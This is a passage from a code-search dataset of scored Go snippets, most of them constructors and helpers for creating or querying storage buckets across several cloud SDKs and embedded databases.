&svcsdk.GetBucketNotificationConfigurationRequest{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "23ad64e316d8a499df562e150d128fbc", "score": "0.6238737", "text": "func NewBucket(name string) *Bucket {\n\treturn &Bucket{\n\t\tname: name,\n\t\tquery: make(Dict),\n\t}\n}", "title": "" }, { "docid": "6e3775ecc1d742afd99236ed8fbb543f", "score": "0.6140586", "text": "func (rm *resourceManager) newGetBucketPolicyPayload(\n\tr *resource,\n) *svcsdk.GetBucketPolicyInput {\n\tres := &svcsdk.GetBucketPolicyInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "d7bf63122dfe8f924e469ffe9d49ac70", "score": "0.6139338", "text": "func NewBucket() *Bucket {\n\treturn &Bucket{}\n}", "title": "" }, { "docid": "96d425d04642eca790650310b4ccea38", "score": "0.61201084", "text": "func NewBucket() *Bucket {\n\tb := new(Bucket)\n\tb.items = map[string][]*Item{}\n\treturn b\n}", "title": "" }, { "docid": "0d0703a7fab85534a7e69db2848876cc", "score": "0.606516", "text": "func (c *Client) NewBucket() *Bucket {\n\treturn &Bucket{\n\t\tclient: c,\n\t}\n}", "title": "" }, { "docid": "0ce5c6c1dd122411cfe38d8e56fbeb29", "score": "0.6063805", "text": "func newBucket() *bucket {\n\t//constructor list of lists\n\tbucket := &bucket{}\n\tbucket.list = list.New()\n\tbucket.cacheList = list.New()\n\treturn bucket\n}", "title": "" }, { "docid": "6ce8d2462cfdfdbca26b12a99a6e352a", "score": "0.6023815", "text": "func (r *APIRequest) CreateBucket(\n\tp *Provisioner,\n\tbucketReq *cosi.DriverCreateBucketRequest,\n) error {\n\n\tlog := r.Provisioner.Logger\n\t_, err := r.SysClient.NBClient.ReadBucketAPI(nb.ReadBucketParams{Name: r.BucketName})\n\tif err == nil {\n\t\tmsg := fmt.Sprintf(\"Bucket %q already exists\", r.BucketName)\n\t\tlog.Error(msg)\n\t\treturn status.Error(codes.InvalidArgument, msg)\n\t}\n\tif nbErr, ok := err.(*nb.RPCError); ok && nbErr.RPCCode != \"NO_SUCH_BUCKET\" {\n\t\treturn status.Error(codes.Internal, nbErr.RPCCode)\n\t}\n\n\tif r.BucketClass == nil {\n\t\tmsg := fmt.Sprintf(\"BucketClass/Bucket not loaded %#v\", r)\n\t\tlog.Error(msg)\n\t\treturn status.Error(codes.Internal, msg)\n\t}\n\n\tlog.Infof(\"COSI Provisioner: BucketClass %+v\", r.BucketClass)\n\tvar replicationParams *nb.BucketReplicationParams\n\tif r.BucketClass.ReplicationPolicy != \"\" {\n\t\tif replicationParams, _, err = obc.PrepareReplicationParams(r.BucketName, r.BucketClass.ReplicationPolicy, false); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tcreateBucketParams := &nb.CreateBucketParams{\n\t\tName: r.BucketName,\n\t}\n\tif r.BucketClass.PlacementPolicy != nil {\n\t\ttierName, err := bucketclass.CreateTieringStructure(*r.BucketClass.PlacementPolicy, r.BucketName, r.SysClient.NBClient)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"CreateTieringStructure for PlacementPolicy failed to create policy %q with error: %v\", tierName, err)\n\t\t}\n\t\tcreateBucketParams.Tiering = tierName\n\t}\n\n\t// create NS bucket\n\tif r.BucketClass.NamespacePolicy != nil {\n\t\t// TODO: NO additional paramters recieved from driverCreateBucketRequest so no able to recieve bucket claim specific NSFS path\n\t\t// we need to recieve it from the labels of the bucket claim after calling kubecheck\n\t\tcreateBucketParams.Namespace = bucketclass.CreateNamespaceBucketInfoStructure(*r.BucketClass.NamespacePolicy, \"\")\n\t}\n\terr = r.SysClient.NBClient.CreateBucketAPI(*createBucketParams)\n\n\tif err != nil {\n\t\tif nbErr, ok := err.(*nb.RPCError); ok {\n\t\t\tif nbErr.RPCCode == \"BUCKET_ALREADY_EXISTS\" {\n\t\t\t\tmsg := fmt.Sprintf(\"Bucket %q already exists\", r.BucketName)\n\t\t\t\tlog.Error(msg)\n\t\t\t\treturn status.Error(codes.InvalidArgument, msg)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"failed to create bucket %q with error: %v\", r.BucketName, err)\n\t}\n\tlog.Infof(\"✅ Successfully created bucket %q\", r.BucketName)\n\n\tlog.Infof(\"Update replication on created bucket - replication params: %v\", replicationParams)\n\n\t// update replication policy\n\tif replicationParams != nil {\n\t\terr = r.SysClient.NBClient.PutBucketReplicationAPI(*replicationParams)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Provisioner Failed to update replication on bucket %q with error: %v\", r.BucketName, err)\n\t\t}\n\t}\n\n\t// TODO: this behavior is copied from OBC, we should avoid updating if config is empty\n\tquotaConfig, err := obc.GetQuotaConfig(r.BucketName, r.BucketClass, nil, log)\n\tif err != nil {\n\t\treturn err\n\t}\n\tcreateBucketParams = &nb.CreateBucketParams{\n\t\tName: r.BucketName,\n\t\tQuota: quotaConfig,\n\t}\n\n\terr = r.SysClient.NBClient.UpdateBucketAPI(*createBucketParams)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to update bucket %q with error: %v\", r.BucketName, err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "abf245bcebcead593ae5b88309eafd53", "score": "0.60062516", "text": "func NewBucket(channel, cliProto, svrProto int) *Bucket {\n\tb := new(Bucket)\n\tb.chs = make(map[string]*Channel, channel)\n\t/*\n\t\t// pre alloc channel\n\t\tch := NewChannel(cliProto, svrProto)\n\t\tb.free = ch\n\t\tfor i := 1; i < channel; i++ {\n\t\t\tch.next = NewChannel(cliProto, svrProto)\n\t\t\tch = ch.next\n\t\t}\n\t*/\n\treturn b\n}", "title": "" }, { "docid": "12e0b6c243354aaf753d36c6f2247075", "score": "0.60047877", "text": "func newBucketCreateUpdater(sc gcpstorage.Client, cc client.Client, b *v1alpha1.Bucket, pID string) *bucketCreateUpdater {\n\treturn &bucketCreateUpdater{\n\t\tClient: sc,\n\t\tkube: cc,\n\t\tbucket: b,\n\t\tprojectID: pID,\n\t}\n}", "title": "" }, { "docid": "8f08a771024e4676804eca9485ccea77", "score": "0.597132", "text": "func (c *Client) Bucket(name string) *Bucket { return &Bucket{c: c, nm: name} }", "title": "" }, { "docid": "af65dfe9c698553d1411b0a8808e756f", "score": "0.5947077", "text": "func NewBucket(c *conf.Bucket) (b *Bucket) {\n\tb = new(Bucket)\n\tb.c = c\n\tb.InitBucket()\n\treturn\n}", "title": "" }, { "docid": "5b428d770811076859fe0a3cb4a9f6d4", "score": "0.5918516", "text": "func newBucketMetadata(name string) BucketMetadata {\n\treturn BucketMetadata{\n\t\tName: name,\n\t\tCreated: UTCNow(),\n\t\tnotificationConfig: &event.Config{\n\t\t\tXMLNS: \"http://s3.amazonaws.com/doc/2006-03-01/\",\n\t\t},\n\t\tquotaConfig: &madmin.BucketQuota{},\n\t\tversioningConfig: &versioning.Versioning{\n\t\t\tXMLNS: \"http://s3.amazonaws.com/doc/2006-03-01/\",\n\t\t},\n\t\tbucketTargetConfig: &madmin.BucketTargets{},\n\t\tbucketTargetConfigMeta: make(map[string]string),\n\t}\n}", "title": "" }, { "docid": "af0b9e4ab47e6911a0b13d99011f33a3", "score": "0.59010774", "text": "func NewBucket(b driver.Bucket) *Bucket {\n\treturn &Bucket{b: b}\n}", "title": "" }, { "docid": "838be51852fdb1048fbb41a961eb88b5", "score": "0.5881087", "text": "func getNewTestingBucketSpecifications(bucketName string) (string, string, string) {\n\treturn \"testuser\", \"training-data\", bucketName\n}", "title": "" }, { "docid": "6cf72814237e99739f8ecf1985d645bb", "score": "0.58464724", "text": "func (rm *resourceManager) newGetBucketLifecyclePayload(\n\tr *resource,\n) *svcsdk.GetBucketLifecycleConfigurationInput {\n\tres := &svcsdk.GetBucketLifecycleConfigurationInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "52ae03808d9d6b15302f0cf1369545b5", "score": "0.5845869", "text": "func (ns *Namespace) NewBucket(name string) (*Bucket, error) {\n\tif _, ok := ns.buckets[name]; ok {\n\t\treturn ns.buckets[name], nil\n\t}\n\tbckconf, ok := configure.Namespaces[ns.Name]\n\tvar conf *ConfigureBuckets\n\tprefix := concatPrefix(ns.Prefix, name)\n\tif ok {\n\t\tconf, ok = bckconf.Buckets[name]\n\t}\n\tif !ok {\n\t\tconf = &ConfigureBuckets{\n\t\t\tPrefix: \"\",\n\t\t\tDriver: configure.Default.Driver,\n\t\t\tContext: configure.Default.Context,\n\t\t}\n\t}\n\tif conf.Prefix != \"\" {\n\t\tprefix = concatPrefix(ns.Prefix, conf.Prefix)\n\t}\n\tif conf.Prefix == \"$!empty\" {\n\t\tprefix = ns.Prefix\n\t}\n\trslt := &Bucket{\n\t\tName: name,\n\t\tPrefix: prefix,\n\t\tNamespaceName: ns.Name,\n\t\tnamespace: ns,\n\t}\n\tif _, ok := drivers[conf.Driver]; !ok {\n\t\treturn nil, fmt.Errorf(\"Unknow driver %s\", conf.Driver)\n\t}\n\tdrv, err := drivers[conf.Driver].Construct(prefix, conf.Context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trslt.Driver = drv\n\tns.buckets[name] = rslt\n\treturn rslt, nil\n}", "title": "" }, { "docid": "cc9f920748d5a3b59dcf7f8d69f1bbcf", "score": "0.5840976", "text": "func (rm *resourceManager) newGetBucketWebsitePayload(\n\tr *resource,\n) *svcsdk.GetBucketWebsiteInput {\n\tres := &svcsdk.GetBucketWebsiteInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "92eefa44d3a5a0f750ee582032b586cb", "score": "0.5832843", "text": "func CreateBucket(client *storage.Client, projectID, bucketName string) error {\n\tctx := context.Background()\n\tdefer ctx.Done()\n\tbkt := client.Bucket(bucketName)\n\tif err := bkt.Create(ctx, projectID, nil); err != nil {\n\t\tif e, ok := err.(*googleapi.Error); ok {\n\t\t\tif e.Code != 409 {\n\t\t\t\tlog.Printf(\"ERROR CREATING BUCKET: %v\", err.Error())\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2e330a9b7bc56b6e4bff3d022822bb9c", "score": "0.57800275", "text": "func newStorage(bucket *qs.BucketManager, name string) (s *Storage, err error) {\n\t// Get bucket's domain.\n\tdomains, err := bucket.ListBucketDomains(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// TODO: we need to choose user's production domain.\n\tif len(domains) == 0 {\n\t\treturn nil, errors.New(\"no available domains\")\n\t}\n\n\tc := &Storage{\n\t\tbucket: bucket,\n\t\tdomain: domains[0].Domain,\n\t\tputPolicy: qs.PutPolicy{\n\t\t\tScope: name,\n\t\t},\n\n\t\tname: name,\n\t}\n\n\treturn c, nil\n}", "title": "" }, { "docid": "856e1d43ae178a4cbe5f27fd6c5ca22e", "score": "0.5759268", "text": "func (b *Bucket) New(o Object, key *string) error { return b.c.New(o, b.nm, key, nil) }", "title": "" }, { "docid": "e1568a70878a6308d89b4d6c99b81dc0", "score": "0.5751203", "text": "func (rm *resourceManager) newGetBucketOwnershipControlsPayload(\n\tr *resource,\n) *svcsdk.GetBucketOwnershipControlsInput {\n\tres := &svcsdk.GetBucketOwnershipControlsInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "c8e37e0bd3ce247e5d83009deb982f9a", "score": "0.57450104", "text": "func (s *sBucketSyncMapStorage) NewBucket(name string) error {\n\ts.mu.RLock()\n\tif _, ok := s.buckets[name]; ok {\n\t\ts.mu.RUnlock()\n\t\treturn fmt.Errorf(\"bucket %s exists\", name)\n\t}\n\ts.mu.RUnlock()\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\ts.buckets[name] = &syncSBucket{data: &sync.Map{}}\n\treturn nil\n}", "title": "" }, { "docid": "592522c1448868c5f56ec59fb48f24ea", "score": "0.5735064", "text": "func NewBucket(name string) *Bucket {\n\tthis := Bucket{}\n\tthis.Name = name\n\treturn &this\n}", "title": "" }, { "docid": "3e798f14aa1727ac3bb3907d905e7ea6", "score": "0.57113504", "text": "func TestTx_CreateBucket(t *testing.T) {\n\tdb := NewTestDB()\n\tdefer db.Close()\n\n\t// Create a bucket.\n\tdb.Update(func(tx *bolt.Tx) error {\n\t\tb, err := tx.CreateBucket([]byte(\"widgets\"))\n\t\tassert(t, b != nil, \"\")\n\t\tok(t, err)\n\t\treturn nil\n\t})\n\n\t// Read the bucket through a separate transaction.\n\tdb.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(\"widgets\"))\n\t\tassert(t, b != nil, \"\")\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "935b63889463c731df825e213f55bac2", "score": "0.568879", "text": "func (rm *resourceManager) newGetBucketCORSPayload(\n\tr *resource,\n) *svcsdk.GetBucketCorsInput {\n\tres := &svcsdk.GetBucketCorsInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "2d0be874a202a4eee20acbf5b490ead8", "score": "0.56879145", "text": "func InitializeBucket(svc api.ClientAPI) error {\n\tcfg, err := svc.GetCfgOpts()\n\tif err != nil {\n\t\tfmt.Printf(\"failed to get client options: %s\\n\", err.Error())\n\t}\n\tanon, found := cfg.Get(\"MetadataBucket\")\n\tif !found || anon.(string) == \"\" {\n\t\treturn fmt.Errorf(\"failed to get value of option 'MetadataBucket'\")\n\t}\n\treturn svc.CreateContainer(anon.(string))\n}", "title": "" }, { "docid": "659d336c8b6396f90c73c08b7c64546b", "score": "0.5687877", "text": "func NewBucket(bucketSize int64) *Bucket {\n\tb := &Bucket{\n\t\tsize: bucketSize,\n\t\tacquireCh: make(chan int64),\n\t\treleaseCh: make(chan int64, 1),\n\t\tnewSizeCh: make(chan int64),\n\t\tresetCh: make(chan bool, 1),\n\t}\n\n\tb.startBucket()\n\n\treturn b\n}", "title": "" }, { "docid": "cbae8530b4e7d30116e9c47eb9b5f103", "score": "0.5665934", "text": "func NewBucket(metric string, dimensions map[string]string) *Bucket {\n\treturn &Bucket{\n\t\tmetric: metric,\n\t\tdimensions: sfxproto.Dimensions(dimensions).Clone(),\n\t\tmin: math.MaxInt64,\n\t\tmax: math.MinInt64,\n\t\tdisabledMetrics: make(map[int]bool, 0),\n\t}\n}", "title": "" }, { "docid": "5a35a98c83e153166aa57ae98e6cfe57", "score": "0.56459945", "text": "func TestBucket(t *testing.T) {\n\tbx := NewTestDB()\n\tdefer bx.Close()\n\n\t_, err := bx.New([]byte(\"things\"))\n\tif err != nil {\n\t\tt.Error(err.Error())\n\t}\n\n\tif err := bx.Delete([]byte(\"things\")); err != nil {\n\t\tt.Error(err.Error())\n\t}\n}", "title": "" }, { "docid": "68ee0121cb8f19f40cc398ea4e00b869", "score": "0.56442565", "text": "func createBucket(bucketName string, sess *session.Session) {\n\tsv3 := s3.New(sess)\n\n\t_, err := sv3.CreateBucket(&s3.CreateBucketInput{\n\t\tBucket: aws.String(bucketName),\n\t})\n\tif err != nil {\n\t\tfmt.Println(\"error:\", err)\n\t}\n\n\t// waits until bucket exists else throw an error\n\terr = sv3.WaitUntilBucketExists(&s3.HeadBucketInput{\n\t\tBucket: aws.String(bucketName),\n\t})\n\n\tif err != nil {\n\t\tfmt.Println(\"Error while creating bucket:\", err)\n\t}\n\n}", "title": "" }, { "docid": "18c7b6719abb1b72d03f07e47d65d082", "score": "0.5615808", "text": "func (s *SurgeService) CreateBucket(bucket *Bucket, district uint8) (err error) {\n\n\t*bucket = Bucket{DistrictID: district, BucketLength: s.bucketLength}\n\n\terr = s.DB.Create(bucket).Error\n\n\tif err != nil {\n\t\ts.logger.WithFields(log.Fields{\"districtID\": district}).Error(\"bucket creation failed\")\n\t}\n\n\ts.logger.WithFields(log.Fields{\"districtID\": district}).Info(\"bucket created successfully\")\n\n\treturn err\n}", "title": "" }, { "docid": "c8609115258cf6672051510326cee658", "score": "0.56093836", "text": "func (rm *resourceManager) newGetBucketEncryptionPayload(\n\tr *resource,\n) *svcsdk.GetBucketEncryptionInput {\n\tres := &svcsdk.GetBucketEncryptionInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "f9b38cd60f32a9917411e6cabcdf98af", "score": "0.5602694", "text": "func TestBucket(t *testing.T) {\n\tmongoSession := DbSetup()\n\tbucket := CreateBucketTest(mongoSession)\n\tid := bucket.ID.Hex()\n\n\tGetBucketTest(mongoSession, id)\n\tUpdateBucketTest(mongoSession, id)\n\tRemoveBucketTest(mongoSession, id)\n}", "title": "" }, { "docid": "997a2c1da0ad459565f17231829e99ad", "score": "0.5577714", "text": "func TestTx_CreateBucket(t *testing.T) {\n\twithOpenDB(func(db *DB, path string) {\n\t\t// Create a bucket.\n\t\tdb.Update(func(tx *Tx) error {\n\t\t\tb, err := tx.CreateBucket([]byte(\"widgets\"))\n\t\t\tassert.NotNil(t, b)\n\t\t\tassert.NoError(t, err)\n\t\t\treturn nil\n\t\t})\n\n\t\t// Read the bucket through a separate transaction.\n\t\tdb.View(func(tx *Tx) error {\n\t\t\tb := tx.Bucket([]byte(\"widgets\"))\n\t\t\tassert.NotNil(t, b)\n\t\t\treturn nil\n\t\t})\n\t})\n}", "title": "" }, { "docid": "fb1c0aa3532744cb6fec4f1881e608c4", "score": "0.55754054", "text": "func bucketDetails(svc *s3.S3, bucket *Bucket) {\n\tobjs, errObjs, err := getBucketObjects(svc, bucket.Name)\n\tif err != nil {\n\t\tbucket.Error = err\n\t} else {\n\t\tbucket.Objects = objs\n\t\tbucket.ErrObjects = errObjs\n\t}\n}", "title": "" }, { "docid": "ab883dc905d68fbdf5a7db6680719564", "score": "0.55744344", "text": "func InitializeBucket(bucketType CouchbaseBucketType, tester testing.TB) {\n\n\t// Create\n\ttempBucket := GetBucketCommon(bucketType, tester)\n\ttempBucket.Close()\n\n}", "title": "" }, { "docid": "f5a1a6c96d2abf7d5ef401590b7cc5f3", "score": "0.5564755", "text": "func (h ApiService) CreateBucket(ctx context.Context, r *pb.CreateBucketRequest) (*pb.CreateBucketResponse, error) {\n\tres := service.CreateBucket(r)\n\treturn &res, nil\n}", "title": "" }, { "docid": "3f69c7c5d5ea17d3b002e365563a37d2", "score": "0.55539155", "text": "func (*ArchiveRetrievalLsItemNewBucket) Descriptor() ([]byte, []int) {\n\treturn file_api_usersd_pb_usersd_proto_rawDescGZIP(), []int{30}\n}", "title": "" }, { "docid": "43be75c78ede345d92ecbbe38bcffa5b", "score": "0.55437183", "text": "func (auth *AuthorizationResponse) CreateBackblazeBucket() error {\n\n\tname, err := os.Hostname()\n\tlog.Println(\"HostName: \", name)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\trequest, err := resty.R().\n\t\tSetQueryParams(map[string]string{\n\t\t\"accountId\": viper.GetString(\"account-id\"),\n\t\t\"bucketName\": name,\n\t\t\"bucketType\": \"allPrivate\",\n\t}).\n\t\tSetHeader(\"Accept\", \"application/json\").\n\t\tSetHeader(\"Authorization\", auth.AuthorizationToken).\n\t\tGet(auth.APIURL + b2CreateBucket)\n\tfmt.Printf(\"\\nResponse Body: %v\", string(request.Body()))\n\n\treturn err\n}", "title": "" }, { "docid": "9ea85f0818e5198b5d496a4caf0f1bd4", "score": "0.5540807", "text": "func NewBucketRequest(\n\tp *Provisioner,\n\tbucketCreateReq *cosi.DriverCreateBucketRequest,\n\tbucketDelReq *cosi.DriverDeleteBucketRequest,\n) (*APIRequest, error) {\n\tlog := p.Logger\n\tIsExternalRPCConnection := false\n\tif util.IsTestEnv() {\n\t\tIsExternalRPCConnection = true\n\t}\n\tsysClient, err := system.Connect(IsExternalRPCConnection)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr := &APIRequest{\n\t\tProvisioner: p,\n\t\tSysClient: sysClient,\n\t}\n\n\tif bucketCreateReq != nil {\n\t\tr.BucketName = bucketCreateReq.GetName()\n\n\t\tspec, errMsg := CreateBucketClassSpecFromParameters(bucketCreateReq.Parameters)\n\t\tif errMsg != \"\" {\n\t\t\tlog.Error(errMsg)\n\t\t\treturn nil, status.Error(codes.Internal, errMsg)\n\t\t}\n\t\tr.BucketClass = spec\n\n\t\tif r.BucketClass.PlacementPolicy == nil && r.BucketClass.NamespacePolicy == nil {\n\t\t\tmsg := fmt.Sprintf(\"must provide at least one of placement policy or namespace policy %+v\",\n\t\t\t\tr.BucketClass,\n\t\t\t)\n\t\t\tlog.Error(msg)\n\t\t\treturn nil, status.Error(codes.Internal, msg)\n\t\t}\n\t} else if bucketDelReq != nil {\n\t\tr.BucketName = bucketDelReq.BucketId\n\t}\n\treturn r, nil\n}", "title": "" }, { "docid": "2c4628113f26d39a2a7441f0f0800827", "score": "0.55343527", "text": "func NewBucket(capacity int64, interval time.Duration) *Bucket {\n\tb := &Bucket{\n\t\tcapacity: capacity,\n\t\tt: time.NewTicker(interval),\n\t\tclosec: make(chan struct{}),\n\t}\n\n\tgo b.loop()\n\n\treturn b\n}", "title": "" }, { "docid": "b818110ba6e14d8bda20e8d39e7a88c8", "score": "0.5498133", "text": "func (rm *resourceManager) newGetBucketRequestPaymentPayload(\n\tr *resource,\n) *svcsdk.GetBucketRequestPaymentInput {\n\tres := &svcsdk.GetBucketRequestPaymentInput{}\n\tres.SetBucket(*r.ko.Spec.Name)\n\treturn res\n}", "title": "" }, { "docid": "66ed648fab28cfa48f96fa8ac6419a92", "score": "0.5490069", "text": "func (b *Bucket) Get(bucketName, prefix, delimiter, marker string, maxKeys int) (*models.GetBucketResponse, error) {\n\tsuffixs := []suffix{\n\t\tsuffix{\n\t\t\tkey: \"max-keys\",\n\t\t\tvalue: strconv.Itoa(maxKeys),\n\t\t\tflag: false,\n\t\t},\n\t\tsuffix{\n\t\t\tkey: \"marker\",\n\t\t\tvalue: marker,\n\t\t\tflag: false,\n\t\t},\n\t\tsuffix{\n\t\t\tkey: \"delimiter\",\n\t\t\tvalue: delimiter,\n\t\t\tflag: false,\n\t\t},\n\t\tsuffix{\n\t\t\tkey: \"prefix\",\n\t\t\tvalue: prefix,\n\t\t\tflag: false,\n\t\t},\n\t}\n\treq := &request{\n\t\tmethod: get,\n\t\tbucket: bucketName,\n\t\tsuffixs: suffixs,\n\t}\n\tresp := &models.GetBucketResponse{}\n\terr := b.client.do(req, resp, nil)\n\treturn resp, err\n}", "title": "" }, { "docid": "e72c2d9adcc0c8ecba18ab5ea2034e70", "score": "0.5484237", "text": "func CreateLocalBucket(baseParams *BaseParams, bucket string) error {\n\tmsg, err := jsoniter.Marshal(cmn.ActionMsg{Action: cmn.ActCreateLB})\n\tif err != nil {\n\t\treturn err\n\t}\n\tbaseParams.Method = http.MethodPost\n\tpath := cmn.URLPath(cmn.Version, cmn.Buckets, bucket)\n\t_, err = DoHTTPRequest(baseParams, path, msg)\n\treturn err\n}", "title": "" }, { "docid": "ccfbf511eddfbe20eb7a2365296ff5f2", "score": "0.54667085", "text": "func NewBucket(opts ...config.Option) *Bucket {\n\treturn newBucket(os.Args[1:], internal.OSEnvReader{}, opts...)\n}", "title": "" }, { "docid": "1716d7273b861775f3274ac13731d384", "score": "0.54635596", "text": "func system_db_newTable(dbObject *bolt.DB, tableName string) error{\n\terr := dbObject.Update(func(tx *bolt.Tx) error {\n\t\t_, err := tx.CreateBucketIfNotExists([]byte(tableName))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t})\n\treturn err\n}", "title": "" }, { "docid": "852b0f1ae6af94491660c545f16c3df0", "score": "0.54432195", "text": "func (db *DB) New(name []byte) (*Bucket, error) {\n\terr := db.Update(func(tx *bolt.Tx) error {\n\t\t_, err := tx.CreateBucketIfNotExists(name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Bucket{db, name}, nil\n}", "title": "" }, { "docid": "ed743ebdce22af1e6b167db5a41c44e0", "score": "0.5389819", "text": "func (s3 *S3Service) CreateBucket(cbr *CreateBucketRequest) (err error) {\n\n\tif s3.RegionName() != regions.DEFAULT_REGION && cbr.CreateBucketConfiguration == nil {\n\t\tcbr.CreateBucketConfiguration = &CreateBucketConfiguration{\n\t\t\tLocationConstraint: s3.RegionName(),\n\t\t}\n\t}\n\n\treq, err := services.NewServerRequest(\"PUT\", s3.Endpoint()+\"/\"+cbr.BucketName, cbr.CreateBucketConfiguration)\n\tif err == nil {\n\t\treq.Header().Set(\"Content-Type\", services.CONTENT_TYPE_APPLICATION_XML)\n\t\tif cbr.CannedACL != \"\" {\n\t\t\treq.Header().Add(\"X-Amz-Acl\", string(cbr.CannedACL))\n\t\t}\n\t\t_, err = s3.SignAndDo(req, nil)\n\t}\n\treturn\n}", "title": "" }, { "docid": "6d8c3e15cb0a52fb7195956e77cf4569", "score": "0.5374072", "text": "func New(svc iaas.Service, terraform bool) (resources.Bucket, fail.Error) { // nolint\n\tif terraform {\n\t\treturn operations.NewTerraformBucket(svc)\n\t}\n\treturn operations.NewBucket(svc)\n}", "title": "" }, { "docid": "cc6ce546b0b56f55adc143e5bce9211a", "score": "0.5369647", "text": "func New(name string) *VerbsBucket {\n\treturn &VerbsBucket{\n\t\tbucketName: name,\n\t\tsvc: s3.New(session.New()),\n\t}\n}", "title": "" }, { "docid": "3075b2d0b347a6da08f21bf152e2d969", "score": "0.5346006", "text": "func BucketCoreNew(fs interfaces.Core, privateKey crabfsCrypto.PrivKey, bucket string, root string) interfaces.Bucket {\n\treturn &bucketCoreImpl{\n\t\tprivateKey: privateKey,\n\t\tbucket: bucket,\n\n\t\troot: root,\n\n\t\tfs: fs,\n\t}\n}", "title": "" }, { "docid": "f3c69566af5979534fae072040a1370f", "score": "0.5341408", "text": "func ListBucket(baseParams *BaseParams, bucket string, msg *cmn.GetMsg, numObjects int, query ...url.Values) (*cmn.BucketList, error) {\n\tbaseParams.Method = http.MethodPost\n\tpath := cmn.URLPath(cmn.Version, cmn.Buckets, bucket)\n\treslist := &cmn.BucketList{Entries: make([]*cmn.BucketEntry, 0, 1000)}\n\tq := url.Values{}\n\tif len(query) > 0 {\n\t\tq = query[0]\n\t}\n\n\t// An optimization to read as few objects from bucket as possible.\n\t// toRead is the current number of objects ListBucket must read before\n\t// returning the list. Every cycle the loop reads objects by pages and\n\t// decreases toRead by the number of received objects. When toRead gets less\n\t// than pageSize, the loop does the final request with reduced pageSize\n\ttoRead := numObjects\n\tfor {\n\t\tif toRead != 0 {\n\t\t\tif (msg.GetPageSize == 0 && toRead < cmn.DefaultPageSize) ||\n\t\t\t\t(msg.GetPageSize != 0 && msg.GetPageSize > toRead) {\n\t\t\t\tmsg.GetPageSize = toRead\n\t\t\t}\n\t\t}\n\n\t\tb, err := jsoniter.Marshal(cmn.ActionMsg{Action: cmn.ActListObjects, Value: msg})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\toptParams := OptionalParams{Header: http.Header{\n\t\t\t\"Content-Type\": []string{\"application/json\"},\n\t\t},\n\t\t\tQuery: q}\n\t\trespBody, err := DoHTTPRequest(baseParams, path, b, optParams)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tpage := &cmn.BucketList{}\n\t\tpage.Entries = make([]*cmn.BucketEntry, 0, 1000)\n\n\t\tif err = jsoniter.Unmarshal(respBody, page); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to json-unmarshal, err: %v [%s]\", err, string(b))\n\t\t}\n\n\t\treslist.Entries = append(reslist.Entries, page.Entries...)\n\t\tif page.PageMarker == \"\" {\n\t\t\tmsg.GetPageMarker = \"\"\n\t\t\tbreak\n\t\t}\n\n\t\tif numObjects != 0 {\n\t\t\tif len(reslist.Entries) >= numObjects {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttoRead -= len(page.Entries)\n\t\t}\n\n\t\tmsg.GetPageMarker = page.PageMarker\n\t}\n\n\treturn reslist, nil\n}", "title": "" }, { "docid": "33aade5877cd0255b140865de6b095c8", "score": "0.53402907", "text": "func CreateBucket() error {\n\ts3session := GetS3Session()\n\n\tname := fmt.Sprintf(\"%s-%s-%s\", BucketNamePrefix, uuid.NewString()[:8], region)\n\n\tlogging.Log(fmt.Sprintf(\"creating s3 bucket for logging: %s\", name))\n\t_, err := s3session.CreateBucket(&s3.CreateBucketInput{\n\t\tBucket: aws.String(name),\n\t})\n\tif err != nil {\n\t\treturn logging.LogErr(err)\n\t}\n\n\tlogging.Log(\"waiting for s3 bucket to be created\")\n\n\tvar created bool\n\tfor i := 0; i <= 3; i += 1 {\n\t\terr = s3session.WaitUntilBucketExists(&s3.HeadBucketInput{\n\t\t\tBucket: aws.String(name),\n\t\t})\n\n\t\tif err == nil {\n\t\t\tcreated = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif created == false {\n\t\tlogging.Log(\"tried waiting for s3 bucket to be created 3 times. still failed\")\n\t\treturn logging.LogErr(err)\n\t}\n\n\tlogging.Log(\"tagging newly created bucket\")\n\n\t_, err = s3session.PutBucketTagging(&s3.PutBucketTaggingInput{\n\t\tBucket: aws.String(name),\n\t\tTagging: &s3.Tagging{\n\t\t\tTagSet: []*s3.Tag{\n\t\t\t\t{\n\t\t\t\t\tKey: aws.String(BucketTagKey),\n\t\t\t\t\tValue: aws.String(BucketTagValue),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn logging.LogErr(err)\n\t}\n\n\tlogging.Log(\"bucket successfully created\")\n\n\treturn nil\n}", "title": "" }, { "docid": "18d3737f92e520720b3f37b824d483c8", "score": "0.5331371", 